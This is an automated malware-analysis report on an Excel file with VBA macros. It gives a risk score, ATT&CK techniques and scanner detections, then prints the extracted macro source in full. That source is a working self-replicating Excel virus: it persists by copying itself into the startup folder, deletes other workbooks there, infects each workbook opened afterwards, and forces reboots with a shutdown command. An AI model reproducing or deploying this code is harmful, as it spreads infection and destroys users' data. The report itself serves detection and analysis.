MALICIOUS
156
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1497.001 System Checks: System Checks
The sample is an Excel file containing VBA macros. The `auto_open` macro attempts to copy the malicious workbook to the Excel startup path as 'SPECS.xls', establishing persistence. It also contains logic that can trigger a system shutdown/reboot using the command 'shutdown -r -f -t 00'. The `auto_close` macro also contains a similar shutdown command.
Heuristics 5
-
ClamAV: Xls.Virus.Shutdown-6922872-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Virus.Shutdown-6922872-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00") -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub auto_open() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub auto_close()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1883 bytes |
SHA-256: 247f99119e3f9a7bab320590df043cd02a3e70da2a9996db2eb90601eedd092e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "SPECS"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.EnableEvents = False
For Each kil In Workbooks
If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
fn = kil.FullName
kil.Close (False)
Kill (fn)
End If
Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets(1).Copy
nam = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
End If
If Rnd() < 0.01 Then ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub
Sub auto_close()
Attribute auto_close.VB_ProcData.VB_Invoke_Func = " \n14"
If Rnd() < 0.01 Then Shell ("shutdown -r -f -t 00")
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.